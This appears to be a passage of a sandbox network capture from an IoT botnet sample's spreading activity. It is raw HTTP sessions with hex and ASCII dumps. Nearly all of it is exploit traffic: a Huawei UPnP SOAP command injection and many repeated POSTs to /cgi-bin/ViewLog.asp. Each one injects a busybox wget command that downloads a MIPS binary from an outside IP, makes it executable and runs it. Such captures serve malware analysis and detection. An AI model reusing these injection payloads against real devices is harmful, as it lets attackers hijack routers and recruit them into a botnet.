                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                150192.168.2.155031495.209.163.1768080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:29.908832073 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                151192.168.2.154466895.86.109.2468080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:29.919049978 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                152192.168.2.154540831.208.19.58080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:30.144120932 CET388INHTTP/1.0 400 Bad Request
                                                Server: httpd/2.0
                                                x-frame-options: SAMEORIGIN
                                                x-xss-protection: 1; mode=block
                                                Date: Thu, 23 Nov 2023 04:20:29 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                153192.168.2.155722094.120.238.38080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:30.508846998 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                154192.168.2.155601694.122.68.968080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:30.508940935 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                155192.168.2.155836031.136.51.1778080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:31.707658052 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:32.284136057 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:33.404145002 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:35.644162893 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:40.251929998 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:49.211709976 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:08.923274040 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:45.786324978 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                156192.168.2.153936694.120.20.1638080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:31.743870974 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                157192.168.2.155907694.120.39.648080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:31.751487970 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                158192.168.2.155918494.123.181.528080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:31.751750946 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                159192.168.2.153668631.200.120.1398080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:31.765746117 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                160192.168.2.153588495.86.81.1508080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:31.767215014 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                161192.168.2.155810894.120.174.218080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:31.767534018 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                162192.168.2.155221031.136.107.688080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:31.893347979 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:32.476151943 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:33.628170013 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:35.900037050 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:40.508007050 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
